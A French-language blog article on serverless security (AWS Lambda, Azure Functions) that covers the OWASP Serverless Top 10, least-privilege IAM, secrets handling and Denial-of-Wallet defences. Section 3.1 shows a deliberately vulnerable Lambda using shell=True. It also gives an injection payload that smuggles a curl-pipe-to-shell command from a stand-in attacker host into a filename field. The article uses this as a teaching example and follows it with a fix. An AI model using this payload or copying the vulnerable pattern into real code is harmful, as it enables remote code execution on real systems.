Cloud & Infrastructure

Sécurité serverless : les bases 2025 (Lambda, Functions)

Sécurité serverless 2025 : OWASP Top 10, event injection, IAM least privilege, secrets, DoW. Patterns AWS Lambda, Azure Functions, GCP Cloud Functions.

Naim Aouaichia
15 min de lecture
  • Serverless
  • AWS Lambda
  • Azure Functions
  • GCP Cloud Functions
  • OWASP Serverless
  • IAM
  • Cloud security

La sécurité serverless (AWS Lambda, Azure Functions, GCP Cloud Functions, Cloudflare Workers) suit un modèle distinct du sécurisation container ou VM : la responsabilité de l'OS et du runtime passe au fournisseur cloud, mais 7 nouvelles surfaces d'attaque spécifiques apparaissent — event injection depuis sources multiples (S3, SNS, SQS, API Gateway, EventBridge), IAM function-level over-permissive, secrets dans variables d'environnement, supply chain sur layers, Denial-of-Wallet (épuisement de budget cloud par flood), exfiltration via logs non-filtrés, chaînes inter-functions sans authentification. L'OWASP Serverless Security Top 10 publié en 2017 et réactualisé par l'OWASP Project reste le référentiel de base. En parallèle, la CSA Serverless Security Working Group (Cloud Security Alliance) publie depuis 2020 des guidelines complémentaires. Cet article détaille le modèle de responsabilité serverless, les 10 risques OWASP avec exemples concrets AWS/Azure/GCP, les patterns IAM least privilege function-level, la gestion des secrets (jamais en variables d'environnement), la protection Denial-of-Wallet, les bonnes pratiques runtime (timeout, memory, concurrency), l'outillage spécifique (cfn-nag, Checkov Lambda, Prowler, Cloud Custodian, Wiz serverless), et les différences architecturales entre Lambda (microVM Firecracker) et Workers (V8 isolates) qui changent certaines propriétés de sécurité. Pour la gestion des secrets en environnement serverless, voir Secrets management dans le cloud.

1. Le modèle de responsabilité partagée en serverless

Le serverless pousse le shared responsibility model AWS/Azure/GCP plus loin que les containers ou VMs. Ce qui passe côté cloud provider vs développeur :

CoucheVM (EC2, Compute Engine)Container (ECS, GKE)Serverless (Lambda, Functions)
Hardware physiqueCloud providerCloud providerCloud provider
HyperviseurCloud providerCloud providerCloud provider
OSClientCloud provider (managed)Cloud provider
Runtime (Python, Node, Java)ClientClient (image)Cloud provider
Container isolation-Cloud providerCloud provider (Firecracker)
Dépendances applicativesClientClientClient
Code applicatifClientClientClient
Permissions IAMClientClientClient
ConfigurationClientClientClient
SecretsClientClientClient
Event sources--Client

Gain serverless : suppression du patch management OS et runtime (~30-40 % des CVE opérationnelles). Nouveauté serverless : la surface IAM + event sources prend une importance critique, car tout est exposé par défaut via ces vecteurs.

2. Les 10 risques OWASP Serverless Top 10

L'OWASP Serverless Top 10 (SAS-01 à SAS-10, projet OWASP Serverless Top 10) catalogue les 10 risques spécifiques au modèle. Version 2021 toujours référencée en 2025 (la v2 est en draft sur GitHub) :

IDRisqueCommentaire 2025
SAS-01Function Event Data InjectionToujours critique, vecteur #1
SAS-02Broken AuthenticationAuth inter-functions souvent négligée
SAS-03Insecure Serverless Deployment ConfigurationDéfaut config permissif encore fréquent
SAS-04Over-Privileged Function Permissions & RolesTop cause de lateral movement cloud
SAS-05Inadequate Function Monitoring and LoggingGap de détection majeur
SAS-06Insecure Third-Party DependenciesSupply chain layers + packages
SAS-07Insecure Application Secrets StorageVariables d'environnement = anti-pattern
SAS-08Denial of Service & Financial Resource ExhaustionDoW émergent 2023-2024
SAS-09Serverless Business Logic ManipulationRace conditions + workflow abuse
SAS-10Improper Exception Handling and Verbose Error MessagesFuite métadonnées via stack traces

Pour les vulnérabilités applicatives classiques (injection SQL, XSS, désérialisation), les principes généraux s'appliquent — voir Principes de secure coding et Désérialisation insecure.

3. SAS-01 : Function Event Data Injection

Une fonction serverless reçoit ses entrées depuis des sources d'événements multiples et hétérogènes : HTTP via API Gateway, messages SQS/SNS, événements S3, EventBridge, DynamoDB Streams, Kinesis, Cognito triggers. Chaque source a son propre format de payload et souvent un niveau de trust implicite excessif.

3.1 Exemple vulnérable Python Lambda

# ❌ Lambda qui exécute une commande à partir d'un événement SNS sans validation
import subprocess
import json
 
def lambda_handler(event, context):
    # SNS Records array
    for record in event["Records"]:
        message = json.loads(record["Sns"]["Message"])
        # ❌ filename provient du message SNS non vérifié
        filename = message["filename"]
        # ❌ Command injection trivial si filename contient "; curl evil.com"
        subprocess.run(f"process-file {filename}", shell=True, check=True)
    return {"statusCode": 200}

Vecteur d'attaque : un attaquant ayant accès à publier sur le topic SNS (souvent exposé via une policy permissive) envoie {"filename": "legit.csv; curl -fsSL http://evil.tld/sh | sh"} et obtient RCE dans la fonction Lambda avec le rôle IAM de la fonction.

3.2 Version sécurisée

# ✅ Validation stricte + appel sans shell
import subprocess
import json
import re
from pathlib import Path
 
SAFE_FILENAME = re.compile(r"^[a-zA-Z0-9_\-]{1,100}\.csv$")
ALLOWED_DIR = Path("/tmp/uploads")
 
def lambda_handler(event, context):
    for record in event["Records"]:
        try:
            message = json.loads(record["Sns"]["Message"])
            filename = message.get("filename", "")
        except (json.JSONDecodeError, KeyError) as e:
            print({"event": "invalid_sns_payload", "err": str(e)})
            continue
 
        # Validation format
        if not SAFE_FILENAME.match(filename):
            print({"event": "invalid_filename", "filename": filename})
            continue
 
        # Path traversal prevention avec resolve()
        target = (ALLOWED_DIR / filename).resolve()
        if not str(target).startswith(str(ALLOWED_DIR.resolve())):
            print({"event": "path_traversal_blocked", "filename": filename})
            continue
 
        # ✅ subprocess.run sans shell, arguments séparés
        subprocess.run(
            ["process-file", str(target)],
            check=True,
            timeout=30,
            capture_output=True,
        )
 
    return {"statusCode": 200}

3.3 Sources d'événements à traiter avec suspicion

SourceTrust par défautVecteur attaque typique
API Gateway (public)FaibleInjection classique via body/params
SNS public topicFaibleTout abonné peut publier
SQS public queueFaibleMessages empoisonnés
S3 bucket eventModéréUpload de fichier malveillant (filename, content)
EventBridge (internal)ModéréRègle SendEvent permissive
DynamoDB StreamsModéréData injected via autre path
Cognito triggerModéréInputs utilisateur dans claims JWT
CloudWatch Events schedulerFortRarement exploitable

4. SAS-04 : Over-Privileged Function Permissions — le problème n°1 en pratique

Selon le Datadog State of Cloud Security 2024, 67 % des fonctions Lambda en production ont des permissions IAM non-utilisées à 80 % ou plus. Cette sur-permission est la cause n°1 de lateral movement cloud observée dans les incidents récents.

4.1 Anti-pattern fréquent Terraform

# ❌ Rôle IAM par défaut trop permissif
resource "aws_iam_role" "lambda_exec" {
  name = "lambda-api-backend"
  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [{
      Action = "sts:AssumeRole"
      Effect = "Allow"
      Principal = { Service = "lambda.amazonaws.com" }
    }]
  })
}
 
# ❌ Policy générique gigantesque
resource "aws_iam_role_policy_attachment" "lambda_full_s3" {
  role       = aws_iam_role.lambda_exec.name
  policy_arn = "arn:aws:iam::aws:policy/AmazonS3FullAccess"  # Accès à TOUS les buckets
}

4.2 Version correcte Terraform

# ✅ Rôle IAM par fonction
resource "aws_iam_role" "lambda_api_backend" {
  name = "lambda-api-backend-${var.env}"
  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [{
      Action = "sts:AssumeRole"
      Effect = "Allow"
      Principal = { Service = "lambda.amazonaws.com" }
    }]
  })
}
 
# ✅ Policy inline ultra-ciblée
resource "aws_iam_role_policy" "lambda_api_backend_policy" {
  role = aws_iam_role.lambda_api_backend.id
 
  policy = jsonencode({
    Version = "2012-10-17"
    Statement = [
      {
        Sid    = "ReadUploadsBucket"
        Effect = "Allow"
        Action = ["s3:GetObject"]
        Resource = ["${aws_s3_bucket.uploads.arn}/*"]
      },
      {
        Sid    = "WriteResultsBucket"
        Effect = "Allow"
        Action = ["s3:PutObject"]
        Resource = ["${aws_s3_bucket.results.arn}/*"]
      },
      {
        Sid    = "ReadSecretDbCreds"
        Effect = "Allow"
        Action = ["secretsmanager:GetSecretValue"]
        Resource = [aws_secretsmanager_secret.db_creds.arn]
      },
      {
        Sid    = "LogsToCloudWatch"
        Effect = "Allow"
        Action = [
          "logs:CreateLogGroup",
          "logs:CreateLogStream",
          "logs:PutLogEvents"
        ]
        Resource = ["arn:aws:logs:${var.region}:*:log-group:/aws/lambda/lambda-api-backend-${var.env}:*"]
      }
    ]
  })
}

Pattern de tuning : démarrer avec la version correcte restrictive ci-dessus, utiliser IAM Access Analyzer après 30 jours de runtime pour identifier les permissions réellement utilisées et affiner.

5. SAS-07 : Insecure Secrets Storage — variables d'environnement = anti-pattern

Les variables d'environnement Lambda sont le moyen le plus tentant mais le plus mauvais de stocker un secret. Elles sont :

  1. Visibles en clair dans la console AWS pour tout principal avec lambda:GetFunctionConfiguration (permission très courante).
  2. Présentes dans CloudTrail events lors des appels UpdateFunctionConfiguration.
  3. Exposées au runtime complet — un RCE les récupère via os.environ.
  4. Inclues dans les snapshots / backups de config.
  5. Chiffrées au repos uniquement avec une clé KMS par défaut AWS, mais accessibles à tout rôle avec décrypt KMS.

5.1 Pattern correct : Secrets Manager + cache in-memory

# ✅ Pattern 2025 — AWS Parameters and Secrets Lambda Extension
# Layer officiel AWS, récupération + cache intégré avec HTTP local
import os
import json
import urllib.request
 
SECRETS_EXTENSION_URL = "http://localhost:2773/secretsmanager/get"
SESSION_TOKEN = os.environ["AWS_SESSION_TOKEN"]
 
# Cache simple avec TTL 5 min
_cache: dict = {}
_cache_ttl = 300
 
def get_secret(secret_id: str) -> dict:
    import time
    cached = _cache.get(secret_id)
    if cached and (time.time() - cached["ts"]) < _cache_ttl:
        return cached["value"]
 
    req = urllib.request.Request(
        f"{SECRETS_EXTENSION_URL}?secretId={secret_id}",
        headers={"X-Aws-Parameters-Secrets-Token": SESSION_TOKEN},
    )
    with urllib.request.urlopen(req, timeout=2) as resp:
        data = json.loads(resp.read())
    secret = json.loads(data["SecretString"])
    _cache[secret_id] = {"ts": time.time(), "value": secret}
    return secret
 
def lambda_handler(event, context):
    db_creds = get_secret("prod/api-backend/db")
    # ... utilisation du secret
    return {"statusCode": 200}

Pour la stratégie secrets complète multi-hyperscaler, voir Secrets management dans le cloud.

6. SAS-08 : Denial-of-Wallet — la DoS financière serverless

Le Denial-of-Wallet (DoW) est la variante serverless du DoS : l'attaquant ne cherche pas à faire tomber l'application, il cherche à épuiser le budget cloud via un flood d'invocations légitimes en apparence. Le gain attaquant : nuire financièrement, parfois avec extorsion associée.

6.1 Scenarios observés 2023-2024

ScénarioCoût typique subiDéfense requise
API Gateway public sans auth + Lambda50-500 k$ en 48hAuth + rate limiting + reserved concurrency
S3 bucket public avec trigger Lambda10-100 k$ en 24hRetirer le public + event filter
SNS topic public + Lambda subscriber20-200 k$ en 48hTopic policy restrictive
Lambda URL public sans auth30-300 k$ en 48hAWS IAM auth ou désactivation

6.2 Défenses combinées

# ✅ Reserved concurrency plafonne le cout max
resource "aws_lambda_function" "api_backend" {
  function_name                  = "api-backend-${var.env}"
  reserved_concurrent_executions = 50  # Max 50 invocations simultanées
  # Au-delà, invocations throttled (erreur 429 pour synchronous)
}
 
# ✅ API Gateway throttling global
resource "aws_api_gateway_method_settings" "throttle" {
  rest_api_id = aws_api_gateway_rest_api.api.id
  stage_name  = aws_api_gateway_stage.prod.stage_name
  method_path = "*/*"
 
  settings {
    throttling_burst_limit = 100
    throttling_rate_limit  = 50  # requests/sec steady state
    logging_level          = "INFO"
    metrics_enabled        = true
  }
}
 
# ✅ CloudWatch alarm sur facturation pour détection précoce
resource "aws_cloudwatch_metric_alarm" "billing" {
  alarm_name          = "billing-alarm-${var.env}"
  comparison_operator = "GreaterThanThreshold"
  evaluation_periods  = 1
  metric_name         = "EstimatedCharges"
  namespace           = "AWS/Billing"
  period              = 21600  # 6h
  statistic           = "Maximum"
  threshold           = 5000   # USD
  alarm_actions       = [aws_sns_topic.finance_alerts.arn]
  dimensions          = { Currency = "USD" }
}

7. Autres risques OWASP serverless en pratique

7.1 SAS-05 Inadequate Monitoring

Pattern de base Python Lambda avec logs structurés :

import json
import logging
import os
 
logger = logging.getLogger()
logger.setLevel(logging.INFO)
 
# ✅ Logs structurés JSON (exploitables par CloudWatch Logs Insights)
def log_event(event: str, **kwargs):
    logger.info(json.dumps({
        "event": event,
        "function": os.environ.get("AWS_LAMBDA_FUNCTION_NAME"),
        "request_id": kwargs.pop("request_id", None),
        **kwargs,
    }))
 
def lambda_handler(event, context):
    log_event(
        "lambda_invoked",
        request_id=context.aws_request_id,
        source=event.get("source", "unknown"),
    )
    try:
        result = process(event)
        log_event("lambda_success", request_id=context.aws_request_id)
        return result
    except Exception as e:
        log_event(
            "lambda_error",
            request_id=context.aws_request_id,
            error_type=type(e).__name__,
            # ❌ Pas de traceback brut en prod — fuite de structure applicative
        )
        raise

7.2 SAS-06 Insecure Dependencies

Les layers Lambda et les packages requirements.txt / package.json sont scannables avec Trivy (voir Trivy : à quoi ça sert) :

# Scan d'un répertoire Lambda avant déploiement
trivy fs --scanners vuln,secret --severity HIGH,CRITICAL ./lambda-src/
 
# Scan d'une layer Lambda (fichier zip)
unzip -q lambda-layer.zip -d /tmp/layer-extracted
trivy fs /tmp/layer-extracted
 
# Intégration CI/CD pour bloquer déploiement si CVE critique
trivy fs --severity CRITICAL --exit-code 1 ./lambda-src/

7.3 SAS-10 Improper Exception Handling

# ❌ Stack trace retourné au client = fuite structure applicative
def lambda_handler(event, context):
    try:
        return {"statusCode": 200, "body": process(event)}
    except Exception as e:
        return {
            "statusCode": 500,
            "body": json.dumps({
                "error": str(e),
                "traceback": traceback.format_exc(),  # ❌ fuite
            }),
        }
 
# ✅ Error handling propre avec correlation ID
def lambda_handler(event, context):
    try:
        return {"statusCode": 200, "body": json.dumps(process(event))}
    except ValidationError as e:
        log_event("validation_error", err=str(e), request_id=context.aws_request_id)
        return {"statusCode": 400, "body": json.dumps({"error": "invalid_input"})}
    except Exception as e:
        log_event(
            "unexpected_error",
            err_type=type(e).__name__,
            request_id=context.aws_request_id,
        )
        return {
            "statusCode": 500,
            "body": json.dumps({
                "error": "internal_error",
                "request_id": context.aws_request_id,  # Pour le support
            }),
        }

8. Outillage spécifique serverless 2025

OutilRôleLicence
CheckovScan Terraform / CloudFormation Lambda configApache 2.0
cfn-nagScan CloudFormation spécifiqueMIT
ProwlerAudit AWS / Azure / GCP posture incluant LambdaApache 2.0
Cloud CustodianPolicy-as-code multi-cloud, remediation autoApache 2.0
TrivyScan Lambda code + layers + dépendancesApache 2.0
IAM Access AnalyzerGénération de policies ajustées (AWS natif)Inclus AWS
Datadog / Wiz serverlessCSPM serverless commercialCommercial
Sqreen (Datadog RASP)Protection runtime serverlessCommercial

8.1 Exemple Checkov en CI/CD

# GitHub Actions — scan Terraform Lambda
name: IaC scan
on:
  pull_request:
jobs:
  checkov:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - name: Run Checkov
        uses: bridgecrewio/checkov-action@v12
        with:
          directory: terraform/
          framework: terraform
          check: CKV_AWS_50,CKV_AWS_51,CKV_AWS_115,CKV_AWS_116,CKV_AWS_173
          # CKV_AWS_50: Lambda has DLQ
          # CKV_AWS_51: Lambda function has tracing
          # CKV_AWS_115: Lambda has reserved concurrency
          # CKV_AWS_116: Lambda has DLQ target
          # CKV_AWS_173: Lambda env vars encrypted with CMK
          soft_fail: false

9. Différences architecturales AWS Lambda vs Cloudflare Workers

CritèreAWS LambdaCloudflare Workers
IsolationMicroVM FirecrackerV8 isolates
Cold start100ms-2s (selon runtime)< 5ms (V8 warm)
Durée max15 min30s CPU
Mémoire128 MB - 10 GB128 MB fixe
LangagesPython, Node, Java, Go, Ruby, .NET, customJavaScript, TypeScript, WASM
IAM granularitéTrès fine (par function)Service-level (Workers KV, R2)
Event sources20+ natives AWSHTTP request, Cron, Queue, Durable Objects
Outillage sécurité 2025Mature (Prowler, Checkov, Wiz)Émergent (moins d'outils)
Surface DoWÉlevée sans protectionModérée (inclus protection Cloudflare)

Quand choisir Workers plutôt que Lambda : edge routing, logique HTTP légère, latence critique (< 10ms), budget avec CDN inclus. Quand rester Lambda : workloads backend complexes, intégrations natives AWS étendues, runtimes non-JS nécessaires, durée d'exécution > 30s.

10. Patterns de déploiement sécurisé

10.1 Checklist avant production d'une fonction

Checklist serverless production-ready 2025
─────────────────────────────────────────────
[ ] Rôle IAM dédié, policy scoped à la fonction (< 30 lignes JSON)
[ ] Pas de variable d'environnement avec secret (Secrets Manager obligatoire)
[ ] Timeout < 30s pour HTTP synchrone (sauf cas justifié)
[ ] Memory explicitement définie (pas de 3008 MB par défaut)
[ ] Reserved concurrency ou provisioned concurrency définie
[ ] Dead Letter Queue configurée (SQS ou SNS)
[ ] VPC attachment si accès ressources internes (sinon pas de VPC, éviter cold start)
[ ] Tracing X-Ray activé
[ ] Logs structurés JSON + retention 30-90 jours
[ ] Tag mandatoires : env, app, team, cost-center, compliance
[ ] Scan Trivy + Checkov + IAM Access Analyzer en CI
[ ] Alarme CloudWatch Invocations + Errors + Duration + Throttles
[ ] Alarme facturation avec action automatique de throttle
[ ] Documentation runbook incident (qui contacter, quelle action)

Points clés à retenir

  • Modèle responsabilité : OS et runtime passent côté cloud, mais IAM + event sources deviennent critiques.
  • OWASP Serverless Top 10 (SAS-01 à SAS-10) : référentiel de base, complété par CSA Serverless Security Working Group.
  • Risque n°1 pratique : Over-Privileged Function Permissions (SAS-04). 67 % des Lambda en prod ont permissions non-utilisées à > 80 % (Datadog 2024).
  • Anti-patterns : secrets en variables d'environnement, policies AmazonS3FullAccess, stack trace renvoyée au client, pas de reserved concurrency.
  • Denial-of-Wallet : menace émergente 2023-2024, coût 50-500 k$ en 48h sur Lambda non plafonnée. Défenses : reserved concurrency + API Gateway throttling + WAF + Budgets Actions.
  • Secrets serverless : AWS Parameters and Secrets Lambda Extension avec cache in-memory 5-15 min, pas de variables d'environnement.
  • Outillage : Checkov + cfn-nag + Prowler + Trivy + IAM Access Analyzer. Commercial : Wiz serverless, Datadog ASM, Sqreen.
  • Lambda vs Workers : choix architectural selon latence / durée / langages, pas uniquement sécurité.

Pour la stratégie secrets cloud complète, voir Secrets management dans le cloud. Pour l'outillage de scan en pipeline, Trivy : à quoi ça sert. Pour le positionnement cloud security global, Roadmap Cloud Security.

Questions fréquentes

  • Le serverless est-il plus ou moins sûr qu'un container classique ?
    Différent, pas strictement plus ou moins sûr. Le serverless (AWS Lambda, Azure Functions, GCP Cloud Functions, Cloudflare Workers) réduit certaines surfaces d'attaque — plus d'OS à patcher, plus de serveurs à durcir, isolation forte du runtime — mais ouvre des surfaces nouvelles : IAM function-level over-permissive, event injection depuis sources multiples (S3, SNS, SQS, EventBridge, API Gateway), exfiltration via variables d'environnement, supply chain sur layers Lambda, Denial-of-Wallet (budget épuisé par floods non-filtrés). La netteté gain/perte dépend de la maturité IAM de l'équipe : une équipe qui applique least privilege par function gagne en sécurité ; une équipe qui utilise une policy AdministratorAccess par défaut multiplie les risques. OWASP a publié un Serverless Security Top 10 dédié pour adresser ces spécificités.
  • Qu'est-ce que le Denial of Wallet et comment s'en protéger ?
    Le Denial of Wallet (DoW) est la variante financière du DoS sur une plateforme serverless facturée à l'usage. Un attaquant floode une fonction Lambda / Azure Function avec des invocations artificielles (requêtes HTTP légitimes en apparence, SNS topic spammed, S3 events triggered), générant des dizaines à centaines de milliers d'invocations qui explosent la facture cloud sans provoquer de downtime visible. Défenses : 1) Reserved concurrency sur Lambda pour plafonner les invocations simultanées. 2) AWS API Gateway throttling + usage plans. 3) AWS Budgets + CloudWatch Billing alarms avec actions (désactivation fonction si seuil dépassé). 4) CloudFront + WAF en amont avec rate limiting par IP. 5) Monitoring des métriques Invocations et ConcurrentExecutions pour détection précoce. Un DoW de 48h peut coûter 50-500 k$ sur une fonction avec concurrency élevée non-plafonnée.
  • Comment appliquer le principe de moindre privilège à une fonction Lambda ?
    Trois règles cumulatives : 1) Une fonction = un rôle IAM dédié, jamais partagé. 2) Les policies de ce rôle listent uniquement les actions et ressources nécessaires (ex: s3:GetObject sur un bucket spécifique, pas s3:* sur *). 3) Pas de managed policies génériques (AmazonS3FullAccess interdite) — policies inline ou customer-managed policies fines. L'outillage recommandé : IAM Access Analyzer génère des policies basées sur l'usage observé après 30 jours de runtime, à utiliser en phase de tuning. cfn-nag, Checkov ou Terraform Compliance détectent les policies trop permissives en CI/CD. L'audit périodique (tous les 6 mois) via AWS Trusted Advisor ou Prowler identifie les dérives. Règle visuelle : si la policy JSON fait plus de 30 lignes par fonction, il y a probablement sur-privilège.
  • Les variables d'environnement Lambda sont-elles sûres pour stocker des secrets ?
    Non, pas en 2025. Les variables d'environnement Lambda sont chiffrées au repos avec une clé KMS AWS par défaut, mais : 1) Elles apparaissent en clair dans la console AWS pour tout utilisateur avec lambda:GetFunctionConfiguration. 2) Elles sont exposées au runtime complet de la fonction (un exploit RCE les lit). 3) Elles apparaissent en clair dans les logs CloudTrail d'événements configuration. 4) Les backups et snapshots les incluent. Pattern correct : utiliser AWS Secrets Manager ou SSM Parameter Store SecureString avec récupération à chaque invocation (avec cache in-memory sur 5-15 min via AWS Parameters and Secrets Lambda Extension). Voir Secrets management dans le cloud pour l'architecture complète. Exception tolérable : variables non-sensibles type FEATURE_FLAG_ENABLED, LOG_LEVEL, REGION.
  • Les layers Lambda sont-elles un vecteur d'attaque supply chain ?
    Oui, particulièrement les layers publiques ou partagées entre organisations. Une layer Lambda est un package zip réutilisable. Le vecteur attaque : une layer publique compromise est utilisée par N fonctions, le code malicieux s'exécute au runtime avec les privilèges IAM de la fonction appelante. Exemples 2022-2024 : typosquatting de layers populaires (aws-sdk-typosquat, layers non-officielles imitant les noms officiels), compromission de comptes d'éditeurs open-source. Défenses : 1) Utiliser uniquement des layers internes (compte AWS de l'organisation) ou officielles AWS. 2) Scanner les layers avec Trivy ou Snyk avant publication. 3) Signer les artefacts (AWS Lambda intégre la signature via Code Signing Configuration depuis 2020). 4) Pin la version précise de la layer, jamais $LATEST. 5) Auditer CloudTrail pour détection d'usage de layers externes non-approuvées.
  • Cloudflare Workers sont-ils plus ou moins sûrs que Lambda ?
    Cloudflare Workers utilisent une architecture différente (V8 isolates au lieu de microVM Firecracker pour Lambda) qui offre des propriétés distinctes. Avantages Workers : démarrage < 5ms sans cold start (réduit certaines classes de DoS latency-sensitive), durée d'exécution limitée 30s CPU (bloque naturellement les exploits longs), stockage KV et Durable Objects avec IAM natif simplifié. Limites : surface attack Workers plus étroite que Lambda mais plus récente — moins d'outillage mature (pas d'équivalent direct Prowler, cfripper), écosystème SCA plus limité. Cas d'usage 2025 : Workers pour edge routing et logique HTTP légère, Lambda pour backend applicatif traditionnel. Le choix se fait sur la latence et le pricing modèle (Workers inclus CDN vs Lambda compute only), pas uniquement sur la sécurité.

Écrit par

Naim Aouaichia

Expert cybersécurité et fondateur de Zeroday Cyber Academy

Expert cybersécurité avec un master spécialisé et un parcours hybride : développement, DevOps, DevSecOps, SOC, GRC. Fondateur de Hash24Security et Zeroday Cyber Academy. Formateur et créateur de contenu technique sur la cybersécurité appliquée, la sécurité des LLM et le DevSecOps.